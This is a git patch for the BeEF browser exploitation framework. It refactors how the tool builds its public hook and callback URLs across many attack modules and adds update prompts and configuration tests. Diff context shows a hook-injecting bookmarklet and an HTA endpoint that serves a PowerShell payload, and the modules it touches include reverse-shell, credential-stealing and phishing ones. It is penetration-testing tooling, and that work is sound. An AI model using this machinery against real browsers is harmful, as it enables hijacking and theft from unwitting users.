From b6425e4a908e5ce8a2eb042f59856010e725ee87 Mon Sep 17 00:00:00 2001
From: wheatley <wheatand@gmail.com>
Date: Sun, 12 Sep 2021 21:33:02 +1000
Subject: [PATCH] Release 0.5.2.0 (#2166)

* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: Andrew Wheatley <a@andrews-mini.home>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
---
 INSTALL.txt                                   |   8 +-
 VERSION                                       |   2 +-
 beef                                          |  30 +-
 config.yaml                                   |  16 +-
 core/main/command.rb                          |  11 +-
 core/main/configuration.rb                    | 126 +++++++++
 core/main/console/banners.rb                  |  22 +-
 core/main/console/commandline.rb              |  10 +
 core/main/server.rb                           |  31 +--
 .../media/javascript/ui/panel/WelcomeTab.js   |   7 +-
 .../javascript/ui/panel/zombiesTreeList.js    |   3 +-
 extensions/qrcode/qrcode.rb                   |   6 +-
 .../powershell/bind_powershell.rb             |   9 +-
 .../web_cloner/web_cloner.rb                  |   5 +-
 .../hooked_domain/deface_web_page/module.rb   |   6 +-
 .../get_stored_credentials/module.rb          |   6 +-
 .../site_redirect_iframe/module.rb            |   6 +-
 modules/browser/play_sound/module.rb          |   6 +-
 modules/debug/test_network_request/module.rb  |   4 +-
 .../apache_felix_remote_shell/module.rb       |   2 +-
 .../farsite_x25_remote_shell/module.rb        |   2 +-
 .../jenkins_groovy_code_exec/module.rb        |   2 +-
 .../local_host/java_payload/module.rb         |   2 +-
 .../signed_applet_dropper/module.rb           |   2 +-
 modules/exploits/m0n0wall/module.rb           |   2 +-
 .../freenas_reverse_root_shell_csrf/module.rb |   2 +-
 .../pfsense_reverse_root_shell_csrf/module.rb |   2 +-
 modules/exploits/rfi_scanner/module.rb        |   2 +-
 .../router/wipg1000_cmd_injection/module.rb   |   2 +-
 .../exploits/shell_shock_scanner/module.rb    |   2 +-
 modules/exploits/shell_shocked/module.rb      |   2 +-
 .../vtiger_crm_upload_exploit/module.rb       |   2 +-
 .../wanem_command_execution/module.rb         |   2 +-
 .../zenoss_3x_command_execution/module.rb     |   2 +-
 .../module.rb                                 |   2 +-
 .../module.rb                                 |   2 +-
 modules/host/hook_microsoft_edge/module.rb    |   7 +-
 modules/ipec/dns_tunnel/module.rb             |   2 +-
 modules/network/nat_pinning_irc/module.rb     |   2 +-
 .../phonegap/phonegap_persistence/module.rb   |   8 +-
 .../social_engineering/clickjacking/module.rb |   6 +-
 modules/social_engineering/clippy/module.rb   |   6 +-
 .../fake_flash_update/module.rb               |   6 +-
 .../fake_notification_c/module.rb             |   6 +-
 .../fake_notification_ff/module.rb            |   4 +-
 .../fake_notification_ie/module.rb            |   6 +-
 .../firefox_extension_bindshell/module.rb     |   2 +-
 .../firefox_extension_dropper/module.rb       |   6 +-
 .../firefox_extension_reverse_shell/module.rb |   2 +-
 .../gmail_phishing/module.rb                  |   6 +-
 .../hta_powershell/module.rb                  |  20 +-
 .../social_engineering/pretty_theft/module.rb |   6 +-
 .../replace_video_fake_plugin/module.rb       |   6 +-
 package-lock.json                             |   2 +-
 package.json                                  |   4 +-
 spec/beef/core/main/command_spec.rb           |  10 +
 spec/beef/core/main/configuration_spec.rb     | 257 ++++++++++++++++++
 spec/support/assets/config_new.yaml           | 162 +++++++++++
 spec/support/assets/config_old.yaml           | 155 +++++++++++
 59 files changed, 883 insertions(+), 156 deletions(-)
 create mode 100644 spec/beef/core/main/command_spec.rb
 create mode 100644 spec/beef/core/main/configuration_spec.rb
 create mode 100644 spec/support/assets/config_new.yaml
 create mode 100644 spec/support/assets/config_old.yaml

diff --git a/INSTALL.txt b/INSTALL.txt
index c6329d3dc..f60e0d4ca 100644
--- a/INSTALL.txt
+++ b/INSTALL.txt
@@ -67,5 +67,11 @@ it's best to regularly update BeEF to the latest version.
 
 If you're using BeEF from the GitHub repository, updating is as simple as:
 
-  $ git pull
+  $ ./update-beef
+
+Or pull the latest repo yourself and then update the gems with:
+  
+  $ git pull
+  
+  $ bundle
 
diff --git a/VERSION b/VERSION
index 18e4217fa..d49b9337a 100644
--- a/VERSION
+++ b/VERSION
@@ -4,4 +4,4 @@
 # See the file 'doc/COPYING' for copying permission
 #
 
-0.5.1.0
+0.5.2.0
diff --git a/beef b/beef
index ea723c015..267e05a8a 100755
--- a/beef
+++ b/beef
@@ -42,6 +42,28 @@ $home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
 # @note Require core loader
 #
 require 'core/loader'
+require 'timeout'
+
+#
+# @note Ask user if they would like to update beef
+#
+
+if BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
+  if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
+  print "Pulling latest BeEF repository and updating"
+  `git pull && bundle`  
+  else
+    begin
+      answer = Timeout::timeout(5) do
+        print "Would you like to check and download the latest BeEF update? y/n: " 
+        response = gets
+        `git pull && bundle` if response.strip == 'y' 
+      end
+      rescue Timeout::Error
+        puts "\nUpdate Skipped with input timeout"
+      end
+  end
+end
 
 #
 # @note Create ~/.beef/
@@ -109,13 +131,13 @@ end
 #
 # @note Validate beef.http.public and beef.http.public_port
 #
-unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public'))
-  print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}"
+unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
+  print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
   exit 1
 end
 
-unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port'))
-  print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}"
+unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
+  print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
   exit 1
 end
 
diff --git a/config.yaml b/config.yaml
index 4a72eb4fe..f4d12e95d 100644
--- a/config.yaml
+++ b/config.yaml
@@ -6,7 +6,7 @@
 # BeEF Configuration file
 
 beef:
-    version: '0.5.1.0'
+    version: '0.5.2.0'
     # More verbose messages (server-side)
     debug: false
     # More verbose messages (client-side)
@@ -47,8 +47,14 @@ beef:
 
         # Host Name / Domain Name
         # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
-        #   set the public hostname below:
-        #public: ""      # public hostname/IP address
+        # These settings will be used to create a public facing URL
+        # This public facing URL will be used for all hook related calls
+        # set the public setting below:
+        # public: ""
+        #     host: "" # public hostname/IP address
+        #     port: "" # public port will default to 80 if no https 443 if https 
+                      # and local if not set but there is a public host
+        #     https: false # true/false
 
         # Reverse Proxy / NAT
         # If you want BeEF to be accessible behind a reverse proxy or NAT,
@@ -56,8 +62,6 @@ beef:
         # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
         #   by altering the X-FORWARDED-FOR ip address in the request header.
         allow_reverse_proxy: false
-        #public: ""      # public hostname/IP address
-        #public_port: "" # public port (experimental)
 
         # Hook
         hook_file: "/hook.js"
@@ -89,6 +93,8 @@ beef:
         # Experimental HTTPS support for the hook / admin / all other Thin managed web services
         https:
             enable: false
+            # Enabled this config setting if you're external facing uri is using https
+            public_enabled: false
             # In production environments, be sure to use a valid certificate signed for the value
             # used in beef.http.public (the domain name of the server where you run BeEF)
             key: "beef_key.pem"
diff --git a/core/main/command.rb b/core/main/command.rb
index f0d3073cf..5629dd517 100644
--- a/core/main/command.rb
+++ b/core/main/command.rb
@@ -42,7 +42,8 @@ module BeEF
     #       Two instances of this object are created during the execution of command module.
     #
     class Command
-      attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
+      attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname,
+      :config
       attr_accessor :zombie, :command_id, :session_id
 
       include BeEF::Core::CommandUtils
@@ -55,15 +56,15 @@ module BeEF
       # @param [String] key command module key
       #
       def initialize(key)
-        config = BeEF::Core::Configuration.instance
+        @config = BeEF::Core::Configuration.instance
 
         @key = key
         @datastore = {}
-        @friendlyname = config.get("beef.module.#{key}.name")
+        @friendlyname = @config.get("beef.module.#{key}.name")
         @output = ''
-        @path = config.get("beef.module.#{key}.path")
+        @path = @config.get("beef.module.#{key}.path")
         @default_command_url = config.get("beef.module.#{key}.mount")
-        @id = config.get("beef.module.#{key}.db.id")
+        @id = @config.get("beef.module.#{key}.db.id")
         @auto_update_zombie = false
         @results = {}
         @beefjs_components = {}
diff --git a/core/main/configuration.rb b/core/main/configuration.rb
index 999a4b5e3..7b3f8cd16 100644
--- a/core/main/configuration.rb
+++ b/core/main/configuration.rb
@@ -73,9 +73,122 @@ module BeEF
           return
         end
 
+        return unless validate_public_config_variable?(@config)
+
+        if @config['beef']['http']['public_port']
+          print_error 'Config path beef.http.public_port is deprecated.'
+          print_error 'Please use the new format for public variables found'
+          print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration'
+          return
+        end
+
         true
       end
 
+      #
+      # Returns the configuration value for the http server host
+      # If nothing is set it should default to 0.0.0.0 (all interfaces)
+      def local_host
+        get('beef.http.host') || '0.0.0.0'
+      end
+
+      #
+      # Returns the configuration value for the http server port
+      # If nothing is set it should default to 3000
+      def local_port
+        get('beef.http.port') || '3000'
+      end
+
+      #
+      # Return the local protocol
+      # if nothing is set default to http
+      def local_proto
+        local_https_enabled ? 'https' : 'http'
+      end
+
+      #
+      # Returns the configuration value for the local https enabled
+      # If nothing is set it should default to false
+      def local_https_enabled
+        get('beef.http.https.enable') || false
+      end
+
+      #
+      # Returns the configuration value for the http server host
+      def public_host
+        get('beef.http.public.host')
+      end
+
+      #
+      # Returns the beef host which is used by external resources
+      # e.g. hooked browsers
+      def beef_host
+        public_host || local_host
+      end
+
+      #
+      # Returns the beef port which is used by external resource
+      # e.g. hooked browsers
+      def beef_port
+        public_port || local_port
+      end
+
+      def public_enabled?
+        !get('beef.http.public.host').nil?
+      end
+      
+      #
+      # Returns the beef protocol that is used by external resources
+      # e.g. hooked browsers
+      def beef_proto
+        if public_enabled? && public_https_enabled? then
+          return 'https'
+        elsif public_enabled? && !public_https_enabled?
+          return 'http'
+        elsif !public_enabled?
+          return local_proto
+        end
+      end
+
+      #
+      # Returns the beef scheme://host:port for external resources
+      # e.g. hooked browsers
+      def beef_url_str
+        "#{beef_proto}://#{beef_host}:#{beef_port}"
+      end
+
+      # Returns the hool path value stored in the config file
+      #
+      # @return [String] hook file path
+      def hook_file_path
+        get('beef.http.hook_file') || '/hook.js'
+      end
+
+      # Returns the url to the hook file
+      #
+      # @return [String] the url string
+      def hook_url
+        "#{beef_url_str}#{hook_file_path}"
+      end
+
+      # Returns the configuration value for the http server port
+      # If nothing is set it should default to 3000
+      def public_port
+        return get('beef.http.public.port') unless get('beef.http.public.port').nil?
+
+        return '443' if public_https_enabled?
+        return '80' unless public_host.nil?
+
+        nil
+      end
+
+      #
+      # Returns the configuration value for the local https enabled
+      # If nothing is set it should default to false
+      def public_https_enabled?
+        get('beef.http.public.https') || false
+      end
+
       #
       # Returns the value of a selected key in the configuration file.
       # @param [String] key Key of configuration item
@@ -163,6 +276,19 @@ module BeEF
           )
         end
       end
+
+      private
+
+      def validate_public_config_variable?(config)
+        return true if (config['beef']['http']['public'].is_a?(Hash) || 
+                        config['beef']['http']['public'].is_a?(NilClass))
+
+
+        print_error 'Config path beef.http.public is deprecated.'
+        print_error 'Please use the new format for public variables found'
+        print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration'
+        false
+      end
     end
   end
 end
diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb
index 8f2725725..af1d2fba7 100644
--- a/core/main/console/banners.rb
+++ b/core/main/console/banners.rb
@@ -48,7 +48,8 @@ module Banners
     def print_network_interfaces_count
       # get the configuration information
       configuration = BeEF::Core::Configuration.instance
-      beef_host = configuration.get('beef.http.host')
+      # local host
+      beef_host = configuration.local_host
 
       # create an array of the interfaces the framework is listening on
       if beef_host == '0.0.0.0' # the framework will listen on all interfaces
@@ -77,27 +78,26 @@ module Banners
     #
     def print_network_interfaces_routes
       configuration = BeEF::Core::Configuration.instance
-      proto = configuration.get("beef.http.https.enable") == true ? 'https' : 'http'
-      hook_file = configuration.get("beef.http.hook_file")
+      # local config settings
+      proto = configuration.local_proto
+      hook_file = configuration.hook_file_path
       admin_ui = configuration.get("beef.extension.admin_ui.enable") ? true : false
       admin_ui_path = configuration.get("beef.extension.admin_ui.base_path")
 
       # display the hook URL and Admin UI URL on each interface from the interfaces array
       self.interfaces.map do |host|
         print_info "running on network interface: #{host}"
-        port = configuration.get("beef.http.port")
+        port = configuration.local_port
         data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n"
         data += "UI URL:   #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui
         print_more data
       end
 
       # display the public hook URL and Admin UI URL
-      if configuration.get("beef.http.public")
-        host = configuration.get('beef.http.public')
-        port = configuration.get("beef.http.public_port") || configuration.get('beef.http.port')
+      if configuration.public_enabled?
         print_info 'Public:'
-        data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n"
-        data += "UI URL:   #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui
+        data = "Hook URL: #{configuration.hook_url}\n"
+        data += "UI URL:   #{configuration.beef_url_str}#{admin_ui_path}/panel\n" if admin_ui
         print_more data
       end
     end
@@ -130,9 +130,9 @@ module Banners
     def print_websocket_servers
       config = BeEF::Core::Configuration.instance
       ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout')
-      print_info "Starting WebSocket server ws://#{config.get('beef.http.host')}:#{config.get("beef.http.websocket.port").to_i} [timer: #{ws_poll_timeout}]"
+      print_info "Starting WebSocket server ws://#{config.beef_host}:#{config.get("beef.http.websocket.port").to_i} [timer: #{ws_poll_timeout}]"
       if config.get("beef.http.websocket.secure")
-        print_info "Starting WebSocketSecure server on wss://[#{config.get('beef.http.host')}:#{config.get("beef.http.websocket.secure_port").to_i} [timer: #{ws_poll_timeout}]"
+        print_info "Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get("beef.http.websocket.secure_port").to_i} [timer: #{ws_poll_timeout}]"
       end
     end
   end
diff --git a/core/main/console/commandline.rb b/core/main/console/commandline.rb
index 87053e4b3..5907f25e3 100644
--- a/core/main/console/commandline.rb
+++ b/core/main/console/commandline.rb
@@ -19,6 +19,8 @@ module BeEF
         @options[:port] = ""
         @options[:ws_port] = ""
         @options[:interactive] = false
+        @options[:update_disabled] = false
+        @options[:update_auto] = false
 
         @already_parsed = false
 
@@ -55,6 +57,14 @@ module BeEF
                 @options[:ws_port] = ws_port
               end
 
+              opts.on('-ud', '--update_disabled', 'Skips update') do 
+                @options[:update_disabled] = true
+              end
+
+              opts.on('-ua', '--update_auto', 'Automatic update with no prompt') do 
+                @options[:update_auto] = true
+              end
+
               #opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do
               #  @options[:interactive] = true
               #end
diff --git a/core/main/server.rb b/core/main/server.rb
index 8ddee76ed..363547a09 100644
--- a/core/main/server.rb
+++ b/core/main/server.rb
@@ -12,19 +12,12 @@ module BeEF
   module Core
     class Server
       include Singleton
-
-      # @note Grabs the version of beef the framework is deployed on
-      VERSION = BeEF::Core::Configuration.instance.get('beef.version')
-
       attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore
 
       def initialize
         @configuration = BeEF::Core::Configuration.instance
-        beef_proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
-        beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-        beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
-        @url = "#{beef_proto}://#{beef_host}:#{beef_port}"
-        @root_dir = File.expand_path('../../../', __FILE__)
+        @url = @configuration.beef_url_str
+        @root_dir = File.expand_path('../../../', __dir__)
         @command_urls = {}
         @mounts = {}
         @rack_app
@@ -33,16 +26,16 @@ module BeEF
 
       def to_h
         {
-            'beef_version'  => VERSION,
-            'beef_url'      => @url,
-            'beef_root_dir' => @root_dir,
-            'beef_host'     => @configuration.get('beef.http.host'),
-            'beef_port'     => @configuration.get('beef.http.port'),
-            'beef_public'   => @configuration.get('beef.http.public'),
-            'beef_public_port' => @configuration.get('beef.http.public_port'),
-            'beef_hook'     => @configuration.get('beef.http.hook_file'),
-            'beef_proto'    => @configuration.get('beef.http.https.enable') == true ? 'https' : 'http',
-            'client_debug'  => @configuration.get('beef.client_debug')
+          'beef_version' => @configuration.get('beef_version'),
+          'beef_url' => @url,
+          'beef_root_dir' => @root_dir,
+          'beef_host' => @configuration.beef_host,
+          'beef_port' => @configuration.beef_port,
+          'beef_public' => @configuration.public_host,
+          'beef_public_port' => @configuration.public_port,
+          'beef_hook' => @configuration.get('beef.http.hook_file'),
+          'beef_proto' => @configuration.beef_proto,
+          'client_debug' => @configuration.get('beef.client_debug')
         }
       end
 
diff --git a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js
index 572d5a88c..5b2e402c7 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js
@@ -7,12 +7,7 @@
 WelcomeTab = function() {
 
   <%
-    @configuration = BeEF::Core::Configuration.instance
-    beef_proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http";
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
-    beef_hook = @configuration.get("beef.http.hook_file")
-    hook_url = "#{beef_proto}://#{beef_host}:#{beef_port}/#{beef_hook}"
+    hook_url = BeEF::Core::Configuration.instance.hook_url
   %>
 
     var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27<%= hook_url %>%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();"
diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
index 602a11e34..a72ae3e92 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
@@ -111,8 +111,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
 
           listeners: {
               itemclick: function(item, object) {
-                  var hb_id = this.contextNode.id.split('zombie-online-')[1];
-		              var hb_id_off = this.contextNode.id.split('zombie-offline-')[1];
+                  var hb_id = this.contextNode.id.split('-')[2];
                   switch (item.id) {
                       case 'use_as_proxy':
                            Ext.Ajax.request({
diff --git a/extensions/qrcode/qrcode.rb b/extensions/qrcode/qrcode.rb
index c79050f21..9b7aaa5d1 100644
--- a/extensions/qrcode/qrcode.rb
+++ b/extensions/qrcode/qrcode.rb
@@ -19,9 +19,9 @@ module Qrcode
 
       # get server config
       configuration = BeEF::Core::Configuration.instance
-      beef_proto = configuration.get('beef.http.https.enable') == true ? "https" : "http"
-      beef_host  = configuration.get("beef.http.public") || configuration.get("beef.http.host")
-      beef_port  = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
+      beef_proto = configuration.beef_proto
+      beef_host  = configuration.beef_host
+      beef_port  = configuration.beef_port
 
       # get URLs from QR config
       configuration.get("beef.extension.qrcode.targets").each do |target|
diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb
index 65e85c389..34f49d51d 100644
--- a/extensions/social_engineering/powershell/bind_powershell.rb
+++ b/extensions/social_engineering/powershell/bind_powershell.rb
@@ -28,11 +28,10 @@ module BeEF
         # serves the HTML Application (HTA)
         get '/hta' do
           response['Content-Type'] = "application/hta"
-          host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host')
-          port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port')
-          proto = BeEF::Core::Configuration.instance.get("beef.http.https.enable") == true ? "https" : "http"
-          ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
-          payload_url = "#{proto}://#{host}:#{port}#{ps_url}/ps.png"
+          @config = BeEF::Core::Configuration.instance
+          beef_url_str = @config.beef_url_str
+          ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
+          payload_url = "#{beef_url_str}#{ps_url}/ps.png"
 
           print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}"
           "<script>
diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb
index 8de4cfd75..68f193ed8 100644
--- a/extensions/social_engineering/web_cloner/web_cloner.rb
+++ b/extensions/social_engineering/web_cloner/web_cloner.rb
@@ -14,10 +14,7 @@ module BeEF
           @http_server = BeEF::Core::Server.instance
           @config = BeEF::Core::Configuration.instance
           @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
-          beef_proto = @config.get("beef.http.https.enable") == true ? "https" : "http"
-          beef_host = @config.get("beef.http.public") || @config.get("beef.http.host")
-          beef_port = @config.get("beef.http.public_port") || @config.get("beef.http.port")
-          @beef_hook = "#{beef_proto}://#{beef_host}:#{beef_port}#{@config.get('beef.http.hook_file')}"
+          @beef_hook = "#{@config.hook_url}"
         end
 
         def clone_page(url, mount, use_existing, dns_spoof)
diff --git a/modules/browser/hooked_domain/deface_web_page/module.rb b/modules/browser/hooked_domain/deface_web_page/module.rb
index c464c78d9..dd7c5994c 100644
--- a/modules/browser/hooked_domain/deface_web_page/module.rb
+++ b/modules/browser/hooked_domain/deface_web_page/module.rb
@@ -7,9 +7,9 @@ class Deface_web_page < BeEF::Core::Command
 
   def self.options
         @configuration = BeEF::Core::Configuration.instance
-        proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-        beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-        beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+        proto = @configuration.beef_proto
+        beef_host = @configuration.beef_host
+        beef_port = @configuration.beef_port
         base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
 	favicon_uri = "#{base_host}/ui/media/images/favicon.ico"
diff --git a/modules/browser/hooked_domain/get_stored_credentials/module.rb b/modules/browser/hooked_domain/get_stored_credentials/module.rb
index 7893cf8a9..9ed1936ef 100644
--- a/modules/browser/hooked_domain/get_stored_credentials/module.rb
+++ b/modules/browser/hooked_domain/get_stored_credentials/module.rb
@@ -7,9 +7,9 @@ class Get_stored_credentials < BeEF::Core::Command
 
 	def self.options
                 @configuration = BeEF::Core::Configuration.instance
-                proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-                beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-                beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+                proto = @configuration.beef_proto
+                beef_host = @configuration.beef_host
+                beef_port = @configuration.beef_port
                 base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
                 uri = "#{base_host}/demos/butcher/index.html"
diff --git a/modules/browser/hooked_domain/site_redirect_iframe/module.rb b/modules/browser/hooked_domain/site_redirect_iframe/module.rb
index 0246865eb..0c87d6a25 100644
--- a/modules/browser/hooked_domain/site_redirect_iframe/module.rb
+++ b/modules/browser/hooked_domain/site_redirect_iframe/module.rb
@@ -7,9 +7,9 @@ class Site_redirect_iframe < BeEF::Core::Command
   
     def self.options
         @configuration = BeEF::Core::Configuration.instance
-        proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-        beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-        beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+        proto = @configuration.beef_proto
+        beef_host = @configuration.beef_host
+        beef_port = @configuration.beef_port
         base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
         favicon_uri = "#{base_host}/ui/media/images/favicon.ico"
diff --git a/modules/browser/play_sound/module.rb b/modules/browser/play_sound/module.rb
index 0f033c34b..afcca51f1 100644
--- a/modules/browser/play_sound/module.rb
+++ b/modules/browser/play_sound/module.rb
@@ -9,9 +9,9 @@ class Play_sound < BeEF::Core::Command
   def self.options
 
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
     sound_file_url = "#{base_host}/demos/sound.wav"
diff --git a/modules/debug/test_network_request/module.rb b/modules/debug/test_network_request/module.rb
index f5251f3fd..728f5768d 100644
--- a/modules/debug/test_network_request/module.rb
+++ b/modules/debug/test_network_request/module.rb
@@ -13,8 +13,8 @@ class Test_network_request < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     hook_path = @configuration.get("beef.http.hook_file")
 
     return [
diff --git a/modules/exploits/apache_felix_remote_shell/module.rb b/modules/exploits/apache_felix_remote_shell/module.rb
index 63d7d3687..00a487146 100644
--- a/modules/exploits/apache_felix_remote_shell/module.rb
+++ b/modules/exploits/apache_felix_remote_shell/module.rb
@@ -7,7 +7,7 @@ class Apache_felix_remote_shell < BeEF::Core::Command
   
   def self.options
     configuration = BeEF::Core::Configuration.instance
-    lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
+    lhost = configuration.beef_host
     lhost = "" if lhost == "0.0.0.0"
     return [
       { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' }, 
diff --git a/modules/exploits/farsite_x25_remote_shell/module.rb b/modules/exploits/farsite_x25_remote_shell/module.rb
index 61efb833e..6eecac781 100644
--- a/modules/exploits/farsite_x25_remote_shell/module.rb
+++ b/modules/exploits/farsite_x25_remote_shell/module.rb
@@ -3,7 +3,7 @@ class Farsite_x25_remote_shell < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+    beef_host = @configuration.beef_host
     return [
